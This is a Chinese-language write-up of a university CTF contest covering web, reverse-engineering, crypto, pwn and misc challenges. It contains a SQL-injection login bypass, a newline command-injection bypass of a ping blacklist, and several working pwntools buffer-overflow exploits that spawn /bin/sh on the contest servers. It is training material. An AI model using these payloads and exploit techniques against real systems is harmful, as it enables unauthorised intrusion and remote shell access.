SUS十一欢乐赛 writeup

Web

seu_wlan level_1

seu_wlan系列题目界面均使用学校seu_wlan的认证界面,第一关想要获取flag只需要模拟手机访问然后查看源码即可获取flag。关于模拟手机可以修改请求头中的User-Agent为手机的User-Agent,或者直接安装firefox插件useragent-switcher;

huaji

右键查看源码,可以看到<script>标签内有一串颜文字,为aaencode后的js,只需要f12调出开发者工具,在控制台中执行即可获取base64加密后的flag,解密即可获取flag。

seu_wlan level_2

访问welcome.txt可以获取后台源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include("db.php");

if(!isset($_POST['username'])){
echo "source file in web9.php.bak";
}
$user = $_POST[username];
$pass = md5($_POST[password]);
$sql = "select * from php where user='$user' and pw='$pass'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if ($row) {
echo "<p>Logged in! Hello $user </p>";
if($row[role]==1){

echo "you are admin! flag is FLAG{};1
}
}
else {
echo("<p>Log in failure! we will redirect you in 2 seconds</p>");
echo("<script>setTimeout(function(){history.go(-1)},2000)</script>");
}

其中可以看到

1
2
3
4
$user = $_POST[username];
$pass = md5($_POST[password]);
$sql = "select * from php where user='$user' and pw='$pass'";
$query = mysql_query($sql);

user变量为POST方法传递的username参数值,直接拼接到了sql语句中。因此username处存在sql注入。

所以登录用户名ad' or role=1#,密码随意,拼接后的sql语句变成

1
select * from php where user='ad' or role=1#' and pw='xxx'

可以看到能够成功绕过登录验证,即可获取flag。

seu_wlan crack

此题的目的是让大家熟悉burpsuite intruder模块的使用,题目描述很清楚,大家只要生成对应的密码表爆破密码即可,密码表只要写一个小程序就能生成。
具体怎样使用burpsuite intruder爆破密码参考

exec

查看源码或者f12的开发者工具里面可以获得ping操作的http请求为post到exec.php页面,post数据为ip=xxx.

查看页面源码,可以发现提示了exec.php的源码:

1
2

<!-- exec.php?view_source-->

访问http://69.171.76.88:30004/exec.php?view_source可以获取exec.php文件的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
if(isset($_GET['view_source']))show_source(__FILE__);
// Get input

$target = $_REQUEST[ 'ip' ];
// var_dump($target);
$target=trim($target);
// var_dump($target);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );


// var_dump($target);

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows

$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";


?>

可以看到程序逻辑为对ip进行了一系列的过滤,最后调用

1
$cmd = shell_exec( 'ping  -c 1 ' . $target );

过滤规则为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

然而并没有过滤\n(换行符).

因此可以使用换行符绕过.具体操作:
screenshot

这里发送数据包使用的是burpsuite的repeater,在burpsuite中先抓取封包后右键点击send to repeater即可,具体使用方法可以百度。%0a是urlencode后的换行符。

Reverse

0x00 HelloReverse

这道题作为逆向的签到题,目的就是让大家了解一下ida的基础使用,所以内容并没有设置什么困难,程序的流程就是要求用户输入一个数字,如果是2333333则执行 get_flag() 函数,所以根据逆向出的信息运行一下程序即可,顺便督促大家装一下 Linux 虚拟机233,但是还是有头铁的同学去看了 get_flag()

0x01 HelloPython

这道题还是比较简单的,利用现有的工具将 Python 字节码还原到源码再进行分析,对于不熟悉 Python 的同学可能还需要一点时间了解一下。程序流程就是检查执行代码文件时传入的命令行参数,符合要求则输出flag。解法有很多,可以通过 Fibonacci 这个函数名搜索到这是一个计算斐波那契数列的函数(或分析算法看出,为了降低难度并没有修改名称),然后得出程序要求的参数值。或是直接修改还原出的代码,直接执行解密函数。都可以得到答案。

0x02 XOR1

一个简单的异或算法,程序中有两个数组,密文和密钥,明文与密钥异或可以得到密文,这个地方可能由于ida在反编译的时候不能很好地识别数组所以用指针表示造成了一些困难,如果比较熟悉c语言的话应该不是问题。

0x03 XOR2

是XOR1的升级版,将密文存入了全局变量,对寻找密文增加了一些困难,通过密钥使用伪随机生成,c语言的随机数是通过种子来生成的,同一个种子会产生同样的随机数序列,如果不了解c语言随机数这个特点很难解题。

0x04 Maze

这个是后来补的一道题,走迷宫可以说是非常规加密算法中比较经典的一个了,其中map变量存的是迷宫的地图,通过输入的 wasd 来控制光标的上下左右移动,从入口移动到出口,移动过程的输入值即为flag。这道题在编译的时候忘记去掉符号了= =看着变量名有比较强的提示性。

0x05 BabyAndroid

由于我平时也不怎么写 Android 应用,所以就写了一个很简单的小程序,明文flag比较,会使用工具即可解题。

End

这次没出 Windows 的逆向主要是我没装 Windows 下的开发环境 Orz (懒), 希望大家玩的开心 :)
欢迎对逆向有兴趣的同学来和我交流w

crypto

1. base1

简单的base64编码,解码即可。
base64的简单判断:结尾带”=”,因为编码时用”=”填充

2. base2

base91编码,解码即可
附上解码网址 http://ctf.ssleye.com/base91.html

base91和base64的区别在于,base64使用64个字符进行编码,而base91使用91个字符进行编码。

3. 中国人的价值观

这是我在bugku上发现的一个编码——核心价值观编码
工具的地址为 https://sym233.github.io/core-values-encoder/
解密即可

4. 这不是凯撒

ascii码编码向后位移一位

1
print ''.join([chr(ord(i)-1) for i in "gmbh|E1`z1v`lo1x`btd22~"])

5. are you ok

Ook!!编码 https://www.splitbrain.org/services/ook
解密即可。

pwn

1.helloworld

这道题算是pwn的签到题目,连接上即可得flag

2. 年轻人的第二道pwn

就是为了开始真正的pwn做铺垫

1
2
3
4
5
6
7
8
9
10
.text:0000000000400596 callsystem      proc near
.text:0000000000400596 push rbp
.text:0000000000400597 mov rbp, rsp
.text:000000000040059A mov edi, offset command ; "/bin/sh"
.text:000000000040059F call _system
.text:00000000004005A4 pop rbp
.text:00000000004005A5 retn
.text:00000000004005A5 callsystem endp
.text:00000000004005A5
.text:00000000004005A6

可以看到 callsystem的地址为 0x400596

1
2
3
4
5
6
7
8
9
10
11
12
13
-0000000000000080 buf             db ?
-000000000000007F db ? ; undefined
-000000000000007E db ? ; undefined
-000000000000007D db ? ; undefined
-000000000000007C db ? ; undefined
-000000000000007B db ? ; undefined
-000000000000007A db ? ; undefined
.....
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010

buf到r的距离 0x80+8 即 0x88
为什么是加呢? 看到相对地址前的符号没有,“-”和“+”

3. pwn2plus

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1

return read(0, &buf, 0x200uLL);
}

可以看到read()处存在栈溢出,我们输入字符填充缓冲区,再用callsystem的地址覆盖read的ret即可,之前的第二题padding的长度,和需要的地址都已经得到了。

exp如下:

1
2
3
4
5
6
7
from pwn import *

io=remote("47.100.40.190",10007)
io.recvline()
shellcode='a'*0x88+p64(0x400596)
io.sendline(shellcode)
io.interactive()

4. bss_stack

先走一下程序

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled

可以看到连不可执行栈的保护都没开启,说明之后我们可能有机会直接将shellcode写在栈上。

1
2
uns3t@uns3t-virtual-machine:~/桌面/task$ file pwn3 
pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e37a77866ac49198fd206b278e61d44c3f4d8939, stripped

这是32位的程序不需要担心调用函数时传参的问题。

运行一下

1
2
3
4
5
Welcome to warhamer
Hello '111111', what would you like to do ?
1. Process authentification
2. Exit this cool program
Action:

是一道菜单型的题目呢,接下来就是分析程序了,上ida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int sub_804880D()
{
int result; // eax@2

system("clear");
sub_804877A("banner.txt", "Welcome to warhamer");
if ( sub_80486A2() )
{
printf("Hello '%s', what would you like to do ?\n", byte_8049DC8);
fflush(stdout);
printf(" %u. Process authentification\n", 1);
fflush(stdout);
printf(" %u. Exit this cool program\n", 2);
fflush(stdout);
result = sub_8048719();
if ( result == 1 )
{
result = sub_80486B7();
}
else if ( result == 2 )
{
exit(0);
}
}
else
{
printf("\n\nUser name : ");
fflush(stdout);
fgets(byte_8049DC8, 20, stdin);
sub_804866C(byte_8049DC8);
result = sub_804880D();
}
return result;
}

可以看到进入程序时需要输入的byte_804880D是在bss段上的,这意味着我们可以直接调用

1
2
3
.bss:08049DC8 ; char byte_8049DC8[20]
.bss:08049DC8 byte_8049DC8 db 14h dup(?) ; DATA XREF: sub_80486A2+3o
.bss:08049DC8 ; sub_804880D+59o ...

当我们选择1的时候调用的函数中出现了栈溢出的漏洞

1
2
3
4
5
6
7
8
9
10
11
unsigned int sub_80486B7()
{
char s; // [sp+11h] [bp-17h]@1

printf("Enter password: ");
fflush(stdout);
fgets(&s, 100, stdin);
puts("Authentification failed");
fflush(stdout);
return sleep(1u);
}

fgets()可输入的字符长度过长了。
exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

io=remote("47.100.40.190",10011)
sys_plt=0x8048500
binsh="/bin/sh\x00"
payload='a'*(0x17+4)+p32(sys_plt)+p32(0xdeadbeef)+p32(0x8049DC8)
io.sendlineafter("User name : ",binsh)
io.sendlineafter("Action: ",'1')
io.sendlineafter("Enter password: ",payload)
io.interactive()

sys_plt即system()的plt地址,它指向了system()的got地址,因为程序最开始调用了system()来清空屏幕,所以可以通过plt地址来调用函数。
别忘了/bin/sh后要加上\x00,最好要有这个习惯。

5. pwn4

和上题一样走下程序。我这里就不写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int Login()
{
char *v0; // rax@3
char *v2; // [sp+0h] [bp-10h]@1
unsigned __int64 i; // [sp+8h] [bp-8h]@5

printf("username: ", 0LL);
fflush(_bss_start);
fgets(strUsername, 15, stdin);
v2 = strchr(strUsername, 10);
if ( v2 )
*v2 = 0;
printf("password: ", 10LL, v2);
fflush(_bss_start);
fgets(strPassword, 15, stdin);
v0 = strchr(strPassword, 10);
if ( v0 )
*v0 = 0;
for ( i = 0LL; i <= 1; ++i )
{
LODWORD(v0) = strcmp(strUsername, (&userlist)[16 * i]);
if ( !(_DWORD)v0 )
{
LODWORD(v0) = strcmp(strPassword, (&off_6010A8)[16 * i]);
if ( !(_DWORD)v0 )
{
LODWORD(v0) = Menu(strPassword);
break;
}
}
}

程序最开始要求输入账号和密码,我们可以看到反编译后的的比较代码

1
2
3
4
5
6
LODWORD(v0) = strcmp(strUsername, (&userlist)[16 * i]);
if ( !(_DWORD)v0 )
{
LODWORD(v0) = strcmp(strPassword, (&off_6010A8)[16 * i]);
if ( !(_DWORD)v0 )
{

shift+f12 搜索字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.rodata:0000000000400B28   00000006 C admin                                                   
.rodata:0000000000400B2E 00000009 C T6OBSh2i
.rodata:0000000000400B37 00000006 C guest
.rodata:0000000000400B40 00000030 C Sorry, this feature is only available for admin
.rodata:0000000000400B70 0000000A C Command:
.rodata:0000000000400B80 00000027 C Sorry, this feature has been disabled.
.rodata:0000000000400BA7 00000007 C Users:
.rodata:0000000000400BAE 00000007 C * %s\n
.rodata:0000000000400BB8 00000033 C \nPanel\n\n1. exec command\n2. show user list\n3. exit\n
.rodata:0000000000400BEB 0000000E C Your choice:
.rodata:0000000000400BF9 0000000B C username:
.rodata:0000000000400C04 0000000B C password:
.rodata:0000000000400C10 00000031 C Bad credentials. This incident will be reported.
.eh_frame:0000000000400CFF 00000006 C ;*3$\"

可以看到最上面的两条即我们的账号和密码。
登陆后是一个菜单。

1
2
3
4
5
6
7
8
9
10
11
12
while ( 1 )
{
while ( 1 )
{
puts("\nPanel\n\n1. exec command\n2. show user list\n3. exit\n");
printf("Your choice: ");
fflush(_bss_start);
v2 = read(0, buf, 0x280uLL);
buf[v2] = 0;
if ( buf[0] != 49 )
break;
ExecCmd(0LL, buf);

一眼就看到了read()存在栈溢出。那么这次要怎么getshell呢?

1
2
.text:000000000040084A                 mov     edi, offset cmd ; command
.text:000000000040084F call _system

看到这段汇编,将输入的cmd传入edi再调用_system(),简直完美,我们只需要在cmd中输入/bin/sh,再调用这段汇编就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io=remote("47.100.40.190",10009)
urn="admin"
pwd="T6OBSh2i"

payload='a'*0x58+p64(0x40084A)

io.recvuntil(": ")
io.sendline(urn)
io.recvuntil(": ")
io.sendline(pwd)
io.recvuntil(": ")
io.sendline("1")
io.recvuntil(": ")
io.sendline("/bin/sh")
io.recvuntil(": ")
io.sendline(payload)
io.recvuntil(": ")
io.sendline("3")
io.interactive()

misc

1. Crack Zip

用群里的zip爆破软件爆破一下8位数字即可

2. 今天去了四牌楼

看到了题目中的提示,一般用相机拍出来的照片都会带有很多信息,光圈大小,快门速度,ISO,焦距,相机型号,甚至还会带有坐标(我说的就是ios的相机)。那么这次我们直接看这张图片的属性。ok find the flag

3. 二维码

直接取个xor,再扫描即可。 似乎一些容错比较强的扫描器也能直接扫出来。

4. zip

zip文件头修复,将AABB改成0304,保存即可

5. 问卷

将文件改成zip格式,解压,看到flag的文件夹,完事。